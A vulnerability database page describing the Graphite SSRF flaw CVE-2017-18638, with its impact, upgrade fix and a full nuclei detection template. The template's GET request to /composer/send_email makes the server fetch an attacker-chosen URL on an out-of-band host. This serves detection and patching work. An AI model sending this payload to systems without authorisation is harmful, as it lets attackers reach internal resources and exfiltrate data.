HexBrain

Browse / CVEs / CVE-2017-18638

CVE-2017-18638· graphite project / graphite· CWE-918

Graphite <=1.1.5 - Server-Side Request Forgery

highseverity
7.5CVSS score
15.3%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

Graphite's send_email in graphite-web/webapp/graphite/composer/views.py in versions up to 1.1.5 is vulnerable to server-side request forgery (SSR)F. The vulnerable SSRF endpoint can be used by an attacker to have the Graphite web server request any resource. The response to this SSRF request is encoded into an image file and then sent to an email address that can be supplied by the attacker. Thus, an attacker can exfiltrate any information.

Impact

An attacker can exploit this vulnerability to access internal resources, potentially leading to unauthorized access, data leakage, or further attacks.

Fix

Upgrade to a patched version of Graphite (>=1.1.6) or apply the necessary security patches.

How to confirm it

Send: GET {{BaseURL}}/composer/send_email?to={{rand_text_alpha(4)}}@{{rand_text_alpha(4)}}&url=http://{{interactsh-url}}
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2017-18638 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2017-18638

info:
  name: Graphite <=1.1.5 - Server-Side Request Forgery
  author: huowuzhao
  severity: high
  description: |
    Graphite's send_email in graphite-web/webapp/graphite/composer/views.py in versions up to 1.1.5 is vulnerable to server-side request forgery (SSR)F. The vulnerable SSRF endpoint can be used by an attacker to have the Graphite web server request any resource. The response to this SSRF request is encoded into an image file and then sent to an email address that can be supplied by the attacker. Thus, an attacker can exfiltrate any information.
  impact: |
    An attacker can exploit this vulnerability to access internal resources, potentially leading to unauthorized access, data leakage, or further attacks.
  remediation: |
    Upgrade to a patched version of Graphite (>=1.1.6) or apply the necessary security patches.
  reference:
    - http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html
    - https://github.com/graphite-project/graphite-web/issues/2008
    - https://github.com/advisories/GHSA-vfj6-275q-4pvm
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18638
    - https://github.com/graphite-project/graphite-web/pull/2499
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-18638
    cwe-id: CWE-918
    epss-score: 0.15301
    epss-percentile: 0.96797
    cpe: cpe:2.3:a:graphite_project:graphite:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: graphite_project
    product: graphite
  tags: cve,cve2017,graphite,ssrf,oast,graphite_project,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/composer/send_email?to={{rand_text_alpha(4)}}@{{rand_text_alpha(4)}}&url=http://{{interactsh-url}}'

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from